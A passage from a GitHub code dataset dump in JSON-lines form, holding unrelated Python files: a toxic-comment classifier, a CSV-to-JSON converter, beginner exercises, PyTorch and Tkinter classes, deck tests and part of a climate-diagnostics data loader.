pd.read_csv('E:\\\\PycharmProjects\\\\Machine_L\\\\Data_Science_Club\\\\second_\\\\train.csv')\r\ndata_test = pd.read_csv('E:\\\\PycharmProjects\\\\Machine_L\\\\Data_Science_Club\\\\second_\\\\test.csv')\r\nclass_names = ['toxic', 'severe_toxic', 'obscene', 'threat', 'insult', 'identity_hate']\r\n\r\nall_text = pd.concat([data_train['comment_text'], data_test['comment_text']])\r\nvect_tf = TfidfVectorizer(min_df = 5, max_df = 40000)\r\ntrain_text_features_tf = vect_tf.transform(data_train['comment_text'])\r\ntest_text_features_tf = vect_tf.transform(data_test['comment_text'])\r\n\r\ngrid = {'C': np.power(10.0, np.arange(-5, 5))}\r\nscores_vectorizer_tf = []\r\nbest_params_vectorizer_tf = []\r\nfor cl_name in class_names:\r\n y_train = data_train[cl_name]\r\n gs = GridSearchCV(LogisticRegression(penalty = 'l2', solver='sag'), grid, n_jobs = -1, scoring = 'roc_auc', cv=KFold(n_splits = 5, shuffle = True, random_state = 241))\r\n gs.fit(train_text_features_tf, y_train)\r\n scores_vectorizer_tf.append(gs.best_score_)\r\n best_params_vectorizer_tf.append(gs.best_params_)\r\n for scores in gs.grid_scores_:\r\n print(scores.mean_validation_score)\r\n print(scores.parameters)\r\n\r\nmean_score = np.mean(scores_vectorizer_tf)# среднее значение\r\n\r\nsubmission = pd.DataFrame.from_dict({'id': data_test['id']})\r\nfor cl_name, C_par in zip(class_names, best_params_vectorizer_tf):\r\n clf = LogisticRegression(C = C_par, solver='sag')\r\n y_train = data_train[cl_name]\r\n clf.fit(train_text_features_tf, y_train)\r\n submission[cl_name] = clf.predict_proba(test_text_features_tf)[:, 1]\r\nsubmission.to_csv('submission_first.csv', index=False)","repo_name":"yaroslavklymchuk/udscourse","sub_path":"another.py","file_name":"another.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"14697340291","text":"\"\"\"\nMain conversor file\n\"\"\"\nimport json\nimport csv\nfrom schema import load_schema\n\nINPUT_FILE = \"input/crawler-v10.csv\"\nOUTPUT_FILE = \"output/crawler-json-20220912.json\"\nOUTPUT_SCHEMA = \"output/crawler-json-schema-20220912.json\"\nSCHEMA_NAME = \"crawler_schema\"\n\nschema = load_schema(SCHEMA_NAME)\noutput_header = []\n\ndef columns_to_split(schema):\n columns = []\n\n for column in schema:\n if \"mode\" in column and column[\"mode\"] == \"REPEATED\":\n columns.append(column[\"name\"])\n\n return columns\n\nfor row in schema:\n output_header.append(row[\"name\"])\n\nwith open(OUTPUT_SCHEMA, \"w\", encoding = \"utf-8\") as json_file:\n json_file.write(json.dumps(schema))\n\nwith open(INPUT_FILE, encoding = \"utf-8\") as csv_file:\n csv_handler = csv.DictReader(csv_file, fieldnames = output_header)\n\n next(csv_handler)\n\n with open(OUTPUT_FILE, \"w\", encoding = \"utf-8\") as json_file:\n columns = columns_to_split(schema)\n print(columns)\n for csv_line in csv_handler:\n row = {}\n headers = csv_line.keys()\n\n for header in headers:\n if header in columns:\n row[header] = csv_line[header].split(\";\")\n else:\n row[header] = csv_line[header]\n\n json_file.write(json.dumps(row) + \"\\n\")\n","repo_name":"henriquefreitassouza/pipelines","sub_path":"bigquery-data-converter/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"11023453960","text":"# 15. Faça um Programa que peça os 3 lados de um triângulo.\n# O programa deverá informar se os valores podem ser um triângulo.\n# Indique, caso os lados formem um triângulo, se o mesmo é: equilátero, isósceles ou escaleno.\n\nladoA = int(input(\"Infome o lado: \"))\nladoB = int(input(\"Infome o lado: \"))\nladoC = int(input(\"Infome o lado: \"))\n\nif (ladoA + ladoB < ladoC) or (ladoA + ladoC < ladoB) or (ladoB + ladoC < ladoA):\n print(\"Não é um triângulo\")\nelif (ladoA == ladoB) and (ladoA == ladoC):\n print(\"Triângulo Equilátero\")\n\nif (ladoA == ladoB) and ladoC == ladoB or ladoA == ladoC:\n print(\"Triângulo Isósceles\")\n\nif ladoA != ladoB != ladoC:\n print(\"Triâgulo Escaleno\")\n","repo_name":"lucasgdal/Exercicio-de-Python","sub_path":"EstruturaDeDecisao/exercicio_015.py","file_name":"exercicio_015.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"31120860827","text":"import open3d as o3d\r\nimport numpy as np\r\n\r\nif __name__ == \"__main__\":\r\n\tprint(\"Opening PLY file\")\r\n\tpcd = o3d.io.read_point_cloud(\"cloud_bin_0.ply\")\r\n\txyz_load = np.asarray(pcd.points)\r\n\tprint(xyz_load.size)\r\n\tprint(pcd)\r\n\tprint(\"opened file\")\r\n\r\n\tnumber_of_points = xyz_load.size / 3\r\n\r\n\ttraindata_path = 'test_keypoints.txt'\r\n\twith open(traindata_path, \"w\") as f:\r\n\t\tfor i in range(1000):\r\n\t\t\tindex = np.random.randint(0, number_of_points)\r\n\t\t\tf.writelines(str(index))\r\n\t\t\tf.writelines('\\n')\r\n","repo_name":"esteimle/teaser","sub_path":"examples/example_data/smooth/keypoint_gen.py","file_name":"keypoint_gen.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"25217472908","text":"from audioop import reverse\nimport sys\n\ninput = sys.stdin.readline\n\n\ndef calc(mul, target):\n\n str_to_int = {\n '0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,\n 'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15\n }\n\n result = 0\n\n if mul == 8:\n for idx, num in enumerate(reversed(target[1:])):\n result += (str_to_int[num] * 8 ** idx)\n else:\n for idx, num in enumerate(reversed(target[2:])):\n result += (str_to_int[num] * 16 ** idx)\n\n return result\n\n\ndef solution():\n\n num = list(map(str, input().strip()))\n\n if num[1] == 'x':\n print(calc(16, num))\n return\n elif num[0] == '0':\n print(calc(8, num))\n return\n else:\n print(*num, sep='')\n\n\nsolution()\n","repo_name":"Son0-0/Algorithm","sub_path":"swjungle/JG_STUDY/atoz/11816_8진수_10진수_16진수.py","file_name":"11816_8진수_10진수_16진수.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"30"} +{"seq_id":"22337806312","text":"import torch\nfrom chain_layers.Processors import Processor\nfrom torch import nn\n\ndevice = 'cuda' if torch.cuda.is_available() else 'device'\n\nclass CarrierFrequencyOffset(nn.Module,Processor):\n '''Introduce Carrier Frequency Offset'''\n def __init__(self,Fs, delta, name=\"Carrier_Frequency_Offset\"):\n super(CarrierFrequencyOffset,self).__init__()\n self.Fs = Fs\n self.w_delta = torch.tensor(delta,requires_grad=True)\n self.name = name\n self.parameteres = nn.Parameter(self.w_delta)\n\n def forward(self,input_data):\n N = input_data.shape[1]\n n_vect = torch.arange(0,N,1)\n phi = torch.tensor([torch.exp(1j*2*torch.pi*n*self.w_delta/self.Fs) for n in n_vect]).to(device)\n phi_matrix = torch.diag(phi).to(device)\n output_data = torch.matmul(input_data,phi_matrix).to(device)\n return output_data\n\n","repo_name":"cristinaa211/Chromatic-Dispersion-Compensation-using-a-Custom-Convolution-Layer","sub_path":"impairements/CarrierFreqOffset.py","file_name":"CarrierFreqOffset.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"37822506167","text":"import pytest\n\nfrom simulation.deck.card import Card\nfrom simulation.deck.deck import Deck\nfrom simulation.utils.deck.utils import cards_to_codes\n\nALL_CARD_CODES_IN_ORDER: list[str] = [\n '2H', '2D', '2S', '2C', '3H', '3D', '3S', '3C', '4H', '4D', '4S', '4C', '5H', '5D', '5S', '5C', '6H',\n '6D', '6S', '6C', '7H', '7D', '7S', '7C', '8H', '8D', '8S', '8C', '9H', '9D', '9S', '9C', 'TH', 'TD',\n 'TS', 'TC', 'JH', 'JD', 'JS', 'JC', 'QH', 'QD', 'QS', 'QC', 'KH', 'KD', 'KS', 'KC', 'AH', 'AD', 'AS',\n 'AC']\n\n\n# TCs\n\n\ndef test_cards() -> None:\n deck1 = Deck()\n assert deck1.cards == []\n\n deck2 = Deck([Card('2H'), Card('3C'), Card('4S')])\n assert cards_to_codes(deck2.cards) == ['2H', '3C', '4S']\n\n\ndef test_size() -> None:\n deck1 = Deck()\n assert deck1.size == 0\n\n deck2 = Deck([Card('2H'), Card('3C'), Card('4S')])\n assert deck2.size == 3\n\n\ndef test_weight() -> None:\n deck1 = Deck()\n assert deck1.weight == 0\n\n deck2 = Deck([Card('2H'), Card('3C'), Card('4S')])\n assert deck2.weight == -15\n\n\ndef test_full() -> None:\n deck1 = Deck()\n deck1.full()\n assert cards_to_codes(deck1.cards) == ALL_CARD_CODES_IN_ORDER\n\n\ndef test_empty() -> None:\n deck1 = Deck()\n deck1.full()\n deck1.empty()\n assert deck1.size == 0\n\n\ndef test_shuffle() -> None:\n deck1 = Deck()\n deck1.full()\n deck1.shuffle()\n assert deck1.size == 52\n assert cards_to_codes(deck1.cards) != ALL_CARD_CODES_IN_ORDER\n\n\ndef test_push_bottom() -> None:\n deck1 = Deck([Card('2H'), Card('3C'), Card('4S')])\n deck1.push_bottom([Card('2H'), Card('7S')])\n assert cards_to_codes(deck1.cards) == ['2H', '3C', '4S', '2H', '7S']\n\n\ndef pop_top() -> None:\n deck1 = Deck([Card('2H'), Card('3C'), Card('4S')])\n card1 = deck1.pop_top()\n card2 = deck1.pop_top()\n card3 = deck1.pop_top()\n assert card1.code == '2H'\n assert card2.code == '3C'\n assert card3.code == '4S'\n\n with pytest.raises(IndexError):\n deck1.pop_top()\n\n\ndef test_pop_n_top() -> None:\n deck1 = Deck([Card('2H'), Card('3C'), Card('4S'), Card('KD')])\n cards1 = deck1.pop_n_top(2)\n assert cards_to_codes(cards1) == ['2H', '3C']\n assert cards_to_codes(deck1.cards) == ['4S', 'KD']\n\n deck2 = Deck([Card('2H'), Card('3C'), Card('4S')])\n with pytest.raises(IndexError):\n deck2.pop_n_top(6)\n\n with pytest.raises(ValueError):\n deck2.pop_n_top(-6)\n\n\ndef fill_with_n_random() -> None:\n deck1 = Deck()\n deck1.fill_with_n_random(3)\n assert deck1.size == 3\n\n with pytest.raises(ValueError):\n deck1.fill_with_n_random(-6)\n\n with pytest.raises(ValueError):\n deck1.fill_with_n_random(100)\n","repo_name":"steciuk/PBAD-cardgame-strategy","sub_path":"simulator/test/deck/test_deck.py","file_name":"test_deck.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"41549899449","text":"# Playline\nclass PlayLine:\n \"\"\"\n The class to construct the all the playlines of the canvases\n \"\"\"\n\n def __init__(self, root, myMainGUI, canvas_SG, playLine, indexFrames, length_signal_samples):\n \"\"\"\n Initialize the variables\n\n :param root: The window root\n :param myMainGUI: The DanceAnno_MainGUI instance\n :param canvas_SG: A list containing all the canvases where playline is plotted\n :param playLine: An object to put the playlines handlers\n :param indexFrames: A list of integers indicating the frames as found in the folder of frame data\n :param length_signal_samples: length of samples in the signal\n :return:\n \"\"\"\n\n self.root = root\n self.myMainGUI = myMainGUI\n self.canvas_SG = canvas_SG\n self.playLine = playLine\n self.indexFrames = indexFrames\n self.nTotalFrames = len(indexFrames)\n self.length_signal_samples = length_signal_samples\n\n # Is the user holding the playline by left mouse button hold down on a playline\n self.isPlayLineHold = False\n\n # this data is used to keep track of an item being dragged\n self._drag_data = {\"x\": 0, \"item\": None}\n\n # create the playlines (movable lines)\n for i in range(self.myMainGUI.nSignals):\n self.playLine[i] = self.canvas_SG[i].create_line(0, 0, 0, self.canvas_SG[i].winfo_height(),\n fill=\"#ff00ff\", width=1, tags=('plline', 'SG'+str(i), 'playline', 'all_resize'))\n\n # Bind buttons to functionalities\n for i in range(self.myMainGUI.nSignals):\n self.canvas_SG[i].tag_bind(\"playline\", \"\", self.OnTokenButtonPressPlayLine)\n self.canvas_SG[i].tag_bind(\"playline\", \"\", self.OnTokenButtonReleasePlayLine)\n self.canvas_SG[i].tag_bind(\"playline\", \"\", self.OnTokenMotionPlayLine)\n self.canvas_SG[i].tag_bind(\"playline\", \"\", self.OnTokenEnterPlayLine)\n self.canvas_SG[i].tag_bind(\"playline\", \"\", self.OnTokenLeavePlayLine)\n\n def OnTokenButtonPressPlayLine(self, event):\n #:param event: left mouse press-hold on playline to drag line\n\n # disable the primary bindings of buttons in the canvas\n self.myMainGUI.unbindButtons()\n\n self.isPlayLineHold = True\n self._drag_data = {\"x\": event.x, \"item\": self.playLine[0]}\n\n def OnTokenButtonReleasePlayLine(self, event):\n\n self.isPlayLineHold = False\n self._drag_data = {\"x\": 0, \"item\": None}\n\n # enable the primary bindings of buttons in the canvas\n self.myMainGUI.root.after(200, self.myMainGUI.bindButtons)\n\n def OnTokenMotionPlayLine(self, event):\n \"\"\"\n Drag playline functionality\n\n :param event: hold and move playline\n :return:\n \"\"\"\n\n if self._drag_data[\"item\"]!= None and self.isPlayLineHold:\n\n # Find Video Endline\n id_el = self.canvas_SG[0].find_withtag('VIDEOENDLINE')\n x_VIDEOENDLINE = self.canvas_SG[0].coords(id_el)[0]\n\n # Find Start line\n id_sl = self.canvas_SG[0].find_withtag('STARTLINE')\n x_STARTLINE = self.canvas_SG[0].coords(id_sl)[0]\n\n # Calculate movement length\n delta_x = self.canvas_SG[0].canvasx(event.x) - self._drag_data[\"x\"]\n\n # Execute change as long as the movement is within Startline and EndVideoLine\n if delta_x + self._drag_data[\"x\"] >= x_STARTLINE and delta_x + self._drag_data[\"x\"] <= x_VIDEOENDLINE :\n\n for i in range(self.myMainGUI.nSignals):\n self.canvas_SG[i].move( self._drag_data[\"item\"], delta_x, 0)\n\n # record the new position\n self._drag_data[\"x\"] = self.canvas_SG[0].coords(self.playLine[0])[0]\n\n # Find the index of Frame that correspond to this change\n self.iFrame = round(abs((self._drag_data[\"x\"]- x_STARTLINE) / (x_VIDEOENDLINE - x_STARTLINE)) * self.nTotalFrames)\n\n # Update the video frame\n self.myMainGUI.updateVideoFrame(self.iFrame)\n\n def updatePlayLine(self, iFrame):\n \"\"\"\n Update the Playline from the iFrame (when the a related play button is pressed)\n :param iFrame: The iFrame to move the playline\n :return:\n \"\"\"\n\n id_el = self.canvas_SG[0].find_withtag('VIDEOENDLINE')\n x_VIDEOENDLINE = self.canvas_SG[0].coords(id_el)[0]\n\n id_sl = self.canvas_SG[0].find_withtag('STARTLINE')\n x_STARTLINE = self.canvas_SG[0].coords(id_sl)[0]\n\n delta_x = float(x_VIDEOENDLINE - x_STARTLINE) / self.nTotalFrames\n\n x_playLine_in_Canvas = self.canvas_SG[0].coords(self.playLine[0])[0]\n new_x_playLine_in_Canvas = iFrame * delta_x + x_STARTLINE\n\n moveX = new_x_playLine_in_Canvas - x_playLine_in_Canvas\n\n if new_x_playLine_in_Canvas >= x_STARTLINE and new_x_playLine_in_Canvas <= x_VIDEOENDLINE:\n for i in range(self.myMainGUI.nSignals):\n self.canvas_SG[i].move(self.playLine[i], moveX, 0)\n\n def OnTokenEnterPlayLine(self, event):\n \"\"\"\n Change cursor icon on hover\n\n :param event: no use\n :return:\n \"\"\"\n self.root.config(cursor=\"crosshair\")\n\n def OnTokenLeavePlayLine(self, event):\n \"\"\"\n Change to normal cursor\n\n :param event: ignore\n :return:\n \"\"\"\n self.root.config(cursor=\"\")","repo_name":"MKLab-ITI/DanceAnno","sub_path":"DanceAnno_PlayLine.py","file_name":"DanceAnno_PlayLine.py","file_ext":"py","file_size_in_byte":5513,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"30"} +{"seq_id":"12035396903","text":"# 두더지가 동시에 등장해도 계산이 가능하게 구현했는데도 불구하고 안풀림....\nimport math\nimport sys\n\ninput = sys.stdin.readline\n\n# n: 두더지 마릿수, s: 1초에 이동할 수 있는 최대 거리\nn, s = map(int, input().split())\n\n# dp[t]: 시간 t에 내가 존재할 수 있는 좌표,시간(x,y,t)\ndp = [[] for _ in range(6667)]\ndp[0] = [(0, 0, 0)]\n\ngraph = {0: [(0, 0)]} # graph[t]: t 시간에 등장하는 두더지들의 좌표 집합\n\nfor _ in range(n):\n x, y, t = list(map(int, input().split()))\n if t in graph:\n graph[t].append((x, y))\n else:\n graph[t] = [(x, y)]\n\ntimes = list(graph.keys())\ntimes.sort()\n\nbef_t = 0\nidx = 0\nresult = 0\nfor cur_t in times[1:]:\n flag = False # bef_pos에서 cur_pos로 이동 가능한 케이스가 있는 경우 true\n cur_pos = graph[cur_t]\n bef_pos = dp[idx]\n\n for x, y in cur_pos:\n for bef_x, bef_y, bef_t in bef_pos:\n dis = math.sqrt((x - bef_x) ** 2 + (y - bef_y) ** 2)\n move_t = dis / s\n\n if cur_t - bef_t < move_t:\n continue\n # bef_pos들 중에서 cur_pos중 현재 선택된 위치로 이동이 가능한 경우\n else:\n dp[idx + 1].append((x, y, cur_t))\n flag = True\n break\n\n # bef_pos에서 cur_pos로 이동 가능한 케이스가 있는 경우\n if flag:\n bef_t = cur_t\n idx += 1\n result += 1\n\nprint(result)\n","repo_name":"riceboi732/Carleton-ASIA-Website","sub_path":"algorithm/Baekjoon/2259_fail.py","file_name":"2259_fail.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"31996124878","text":"\"\"\"\nGet a variable from input data (either reference or test data).\nThis data can either be climatology files or timeseries files.\nDerived variables are also supported.\n\"\"\"\nimport collections\nimport fnmatch\nimport glob\nimport os\nimport re\n\nimport cdms2\n\nimport e3sm_diags.derivations.acme\nfrom e3sm_diags.driver import utils\n\nfrom . import climo\n\n\nclass Dataset:\n def __init__(\n self,\n parameters,\n ref=False,\n test=False,\n derived_vars={},\n climo_fcn=None,\n ):\n self.parameters = parameters\n self.ref = ref\n self.test = test\n self.derived_vars = derived_vars\n self.climo_fcn = climo_fcn\n\n if self.ref is False and self.test is False:\n msg = \"Both ref and test cannot be False. One must be True.\"\n raise RuntimeError(msg)\n elif self.ref is True and self.test is True:\n msg = \"Both ref and test cannot be True. Only one must be True.\"\n raise RuntimeError(msg)\n\n if not self.derived_vars:\n # Use the default derived variables.\n self.derived_vars = e3sm_diags.derivations.acme.derived_variables\n\n if not self.climo_fcn:\n # Use the default climo function.\n self.climo_fcn = climo.climo\n\n if hasattr(self.parameters, \"derived_variables\"):\n self._add_user_derived_vars()\n\n def _add_user_derived_vars(self):\n \"\"\"\n If the user-defined derived variables is in the input parameters, append\n parameters.derived_variables to the correct part of self.derived_vars.\n \"\"\"\n key_val_pairs = self.parameters.derived_variables.items()\n for derived_var, original_vars in list(key_val_pairs):\n # Append the user-defined vars to the already defined ones.\n if derived_var in self.derived_vars:\n # Put user-defined derived vars first in the OrderedDict.\n # That's why we create a new one.\n new_dict = collections.OrderedDict(original_vars)\n # Add all of the default derived vars to the end of new_dict.\n for k in self.derived_vars[derived_var]:\n # Don't overwrite the user-defined var with a default derived var.\n if k in new_dict:\n continue\n new_dict[k] = self.derived_vars[derived_var][k]\n self.derived_vars[derived_var] = new_dict\n # Otherwise, this is a new derived var, so add it as a new entry.\n else:\n self.derived_vars[derived_var] = original_vars\n\n def get_timeseries_variable(\n self, var, extra_vars=[], single_point=False, *args, **kwargs\n ):\n \"\"\"\n Get the variable and any extra variables, only if they are timeseries files.\n These variables can either be from the test data or reference data.\n \"\"\"\n self.var = var\n self.extra_vars = extra_vars\n\n if not self.is_timeseries():\n msg = \"You can only use this function with timeseries data.\"\n raise RuntimeError(msg)\n\n if self.ref:\n # Get the reference variable from timeseries files.\n data_path = self.parameters.reference_data_path\n variables = self._get_timeseries_var(data_path, *args, **kwargs)\n\n elif self.test:\n # Get the test variable from timeseries files.\n data_path = self.parameters.test_data_path\n variables = self._get_timeseries_var(data_path, *args, **kwargs)\n\n else:\n msg = \"Error when determining what kind (ref or test)of variable to get.\"\n raise RuntimeError(msg)\n\n # Needed so we can do:\n # v1 = Dataset.get_variable('v1', season)\n # and also:\n # v1, v2, v3 = Dataset.get_variable('v1', season, extra_vars=['v2', 'v3'])\n\n # Need to double check sub_monthly flag when applying to sub_monthly time series later\n sub_monthly = False\n\n if single_point:\n sub_monthly = True\n\n for variable in variables:\n if variable.getTime() and not sub_monthly:\n variable = utils.general.adjust_time_from_time_bounds(variable)\n return variables[0] if len(variables) == 1 else variables\n\n def get_climo_variable(self, var, season, extra_vars=[], *args, **kwargs):\n \"\"\"\n For a given season, get the variable and any extra variables and run\n the climatology on them.\n These variables can either be from the test data or reference data.\n \"\"\"\n self.var = var\n self.extra_vars = extra_vars\n\n if not self.var:\n raise RuntimeError(\"Variable is invalid.\")\n if not season:\n raise RuntimeError(\"Season is invalid.\")\n\n # We need to make two decisions:\n # 1) Are the files being used reference or test data?\n # - This is done with self.ref and self.test.\n # 2) Are the files being used climo or timeseries files?\n # - This is done with the ref_timeseries_input and test_timeseries_input parameters.\n if self.ref and self.is_timeseries():\n # Get the reference variable from timeseries files.\n data_path = self.parameters.reference_data_path\n timeseries_vars = self._get_timeseries_var(data_path, *args, **kwargs)\n # Run climo on the variables.\n variables = [self.climo_fcn(v, season) for v in timeseries_vars]\n\n elif self.test and self.is_timeseries():\n # Get the test variable from timeseries files.\n data_path = self.parameters.test_data_path\n timeseries_vars = self._get_timeseries_var(data_path, *args, **kwargs)\n # Run climo on the variables.\n variables = [self.climo_fcn(v, season) for v in timeseries_vars]\n\n elif self.ref:\n # Get the reference variable from climo files.\n filename = self.get_ref_filename_climo(season)\n variables = self._get_climo_var(filename, *args, **kwargs)\n\n elif self.test:\n # Get the test variable from climo files.\n filename = self.get_test_filename_climo(season)\n variables = self._get_climo_var(filename, *args, **kwargs)\n\n else:\n msg = \"Error when determining what kind (ref or test) \"\n msg += \"of variable to get and where to get it from \"\n msg += \"(climo or timeseries files).\"\n raise RuntimeError(msg)\n\n # Needed so we can do:\n # v1 = Dataset.get_variable('v1', season)\n # and also:\n # v1, v2, v3 = Dataset.get_variable('v1', season, extra_vars=['v2', 'v3'])\n return variables[0] if len(variables) == 1 else variables\n\n def get_static_variable(self, static_var, primary_var):\n if self.ref:\n # Get the reference variable from timeseries files.\n data_path = self.parameters.reference_data_path\n elif self.test:\n # Get the test variable from timeseries files.\n data_path = self.parameters.test_data_path\n file_path = self._get_timeseries_file_path(primary_var, data_path)\n fin = cdms2.open(file_path)\n result = fin(static_var)\n fin.close()\n return result\n\n def is_timeseries(self):\n \"\"\"\n Return True if this dataset is for timeseries data.\n \"\"\"\n if self.ref:\n return getattr(self.parameters, \"ref_timeseries_input\", False)\n else:\n return getattr(self.parameters, \"test_timeseries_input\", False)\n\n def is_climo(self):\n \"\"\"\n Return True if this dataset is for climo data.\n \"\"\"\n return not self.is_timeseries()\n\n def get_extra_variables_only(self, var, season, extra_vars):\n \"\"\"\n For a given season, get only the extra variables.\n These can either be from the test data or reference data.\n \"\"\"\n if not extra_vars:\n raise RuntimeError(\"Extra variables cannot be empty.\")\n\n if self.is_climo():\n return self.get_climo_variable(\n var, season, extra_vars, extra_vars_only=True\n )\n else:\n return self.get_timeseries_variable(var, extra_vars, extra_vars_only=True)\n\n return self.get_climo_variable(var, season, extra_vars, extra_vars_only=True)\n\n def get_attr_from_climo(self, attr, season):\n \"\"\"\n For the given season, get the global attribute\n from the corresponding climo file.\n \"\"\"\n if self.is_timeseries():\n raise RuntimeError(\"Cannot get a global attribute from timeseries files.\")\n\n if self.ref:\n filename = self.get_ref_filename_climo(season)\n else:\n filename = self.get_test_filename_climo(season)\n\n with cdms2.open(filename) as f:\n return f.getglobal(attr)\n\n def get_start_and_end_years(self):\n \"\"\"\n Get the user-defined start and end years.\n \"\"\"\n sub_monthly = False\n if self.parameters.sets[0] in [\"area_mean_time_series\"]:\n start_yr = getattr(self.parameters, \"start_yr\")\n end_yr = getattr(self.parameters, \"end_yr\")\n else:\n if self.ref:\n start_yr = getattr(self.parameters, \"ref_start_yr\")\n end_yr = getattr(self.parameters, \"ref_end_yr\")\n\n else:\n start_yr = getattr(self.parameters, \"test_start_yr\")\n end_yr = getattr(self.parameters, \"test_end_yr\")\n\n if self.parameters.sets[0] in [\"diurnal_cycle\", \"arm_diags\"]:\n sub_monthly = True\n\n return start_yr, end_yr, sub_monthly\n\n def get_test_filename_climo(self, season):\n \"\"\"\n Return the path to the test file name based on\n the season and other parameters.\n For climo files only.\n \"\"\"\n path = self.parameters.test_data_path\n data_name = self.parameters.test_name\n\n if hasattr(self.parameters, \"test_file\"):\n fnm = os.path.join(path, self.parameters.test_file)\n if not os.path.exists(fnm):\n raise IOError(\"File not found: {}\".format(fnm))\n return fnm\n\n return self._get_climo_filename(path, data_name, season)\n\n def get_ref_filename_climo(self, season):\n \"\"\"\n Return the path to the reference file name based on\n the season and other parameters.\n For climo files only.\n \"\"\"\n path = self.parameters.reference_data_path\n data_name = self.parameters.ref_name\n\n if (\n hasattr(self.parameters, \"ref_file\")\n and getattr(self.parameters, \"ref_file\") != \"\"\n ):\n fnm = os.path.join(path, self.parameters.ref_file)\n if not os.path.exists(fnm):\n raise IOError(\"File not found: {}\".format(fnm))\n return fnm\n\n return self._get_climo_filename(path, data_name, season)\n\n def _get_climo_filename(self, path, data_name, season):\n \"\"\"\n For climo files, return the path of the file based on the parameters.\n If the file isn't found, try looking for it in path/data_name/ dir as well.\n \"\"\"\n fnm = self._find_climo_file(path, data_name, season)\n if not os.path.exists(fnm):\n # Try looking for the file nested in a folder, based on the test_name.\n pth = os.path.join(path, data_name)\n if os.path.exists(pth):\n fnm = self._find_climo_file(pth, data_name, season)\n\n if not os.path.exists(fnm):\n raise IOError(\n \"No file found for {} and {} in {}\".format(data_name, season, path)\n )\n\n return fnm\n\n def _find_climo_file(self, path_name, data_name, season):\n \"\"\"\n Locate climatology file name based on data_name and season.\n \"\"\"\n dir_files = sorted(os.listdir(path_name))\n for filename in dir_files:\n if filename.startswith(data_name + \"_\" + season):\n return os.path.join(path_name, filename)\n # The below is only ran on model data, because a shorter name is passed into this software. Won't work when use month name such as '01' as season.\n for filename in dir_files:\n if season in [\"ANN\", \"DJF\", \"MAM\", \"JJA\", \"SON\"]:\n if filename.startswith(data_name) and season in filename:\n return os.path.join(path_name, filename)\n # No file found.\n return \"\"\n\n def _get_climo_var(self, filename, extra_vars_only=False):\n \"\"\"\n For a given season and climo input data,\n get the variable (self.var).\n\n If self.extra_vars is also defined, get them as well.\n \"\"\"\n vars_to_get = []\n if not extra_vars_only:\n vars_to_get.append(self.var)\n vars_to_get.extend(self.extra_vars)\n return_variables = []\n\n with cdms2.open(filename) as data_file:\n for var in vars_to_get:\n # If it's a derived var, get that.\n if var in self.derived_vars:\n # Ex: {('PRECC', 'PRECL'): func, ('pr',): func1, ...}, is an OrderedDict.\n possible_vars_and_funcs = self.derived_vars[var]\n\n # Get the first valid variables and functions from possible vars.\n # Ex: {('PRECC', 'PRECL'): func}\n # These are checked to be in data_file.\n vars_to_func_dict = self._get_first_valid_vars_climo(\n possible_vars_and_funcs, data_file, var\n )\n\n # Get the variables as cdms2.TransientVariables.\n # Ex: variables is [PRECC, PRECL], where both are cdms2.TransientVariables.\n variables = self._get_original_vars_climo(\n vars_to_func_dict, data_file\n )\n\n # Get the corresponding function.\n # Ex: The func in {('PRECC', 'PRECL'): func}.\n func = self._get_func(vars_to_func_dict)\n\n # Call the function with the variables.\n derived_var = func(*variables)\n\n # Or if the var is in the file, just get that.\n elif var in data_file.variables:\n derived_var = data_file(var)(squeeze=1)\n\n # Otherwise, there's an error.\n else:\n msg = \"Variable '{}' was not in the file {}, nor was\".format(\n var, data_file.uri\n )\n msg += \" it defined in the derived variables dictionary.\"\n raise RuntimeError(msg)\n\n return_variables.append(derived_var)\n\n return return_variables\n\n def _get_first_valid_vars_climo(self, vars_to_func_dict, data_file, var):\n \"\"\"\n Given an OrderedDict of a list of variables to a function\n ex: {('PRECC', 'PRECL'): func, ('var2',): func2},\n return the first valid {(vars): func} where the vars are in data_file.\n\n var is the actual variable the user requested.\n If none of the derived variables work, we try to just get this from the data_file.\n \"\"\"\n vars_in_file = set(data_file.variables)\n possible_vars = list(\n vars_to_func_dict.keys()\n ) # ex: [('pr',), ('PRECC', 'PRECL')]\n\n # Add support for wild card `?` in variable strings: ex ('bc_a?DDF', 'bc_c?DDF')\n for list_of_vars in possible_vars:\n matched_var_list = list(list_of_vars).copy()\n for var_list in list_of_vars:\n if \"?\" in var_list:\n matched_var_list += fnmatch.filter(list(vars_in_file), var_list)\n matched_var_list.remove(var_list)\n\n if vars_in_file.issuperset(tuple(matched_var_list)):\n # All of the variables (list_of_vars) are in data_file.\n # Return the corresponding dict.\n return {tuple(matched_var_list): vars_to_func_dict[list_of_vars]}\n\n # None of the entries in the derived vars dictionary work,\n # so try to get the var directly.\n # Only try this if var actually exists in data_file.\n if var in data_file.variables:\n # The below will just cause var to get extracted from the data_file.\n return {(var,): lambda x: x}\n\n # Otherwise, there's no way to get the variable.\n msg = \"Neither does {} nor the variables in {}\".format(var, possible_vars)\n msg += \" exist in the file {}.\".format(data_file.uri)\n raise RuntimeError(msg)\n\n def _get_original_vars_climo(self, vars_to_func_dict, data_file):\n \"\"\"\n Given a dictionary in the form {(vars): func}, get the vars\n from the data_file as cdms2.TransientVariables.\n\n These vars were checked to actually be in data_file.\n \"\"\"\n # Since 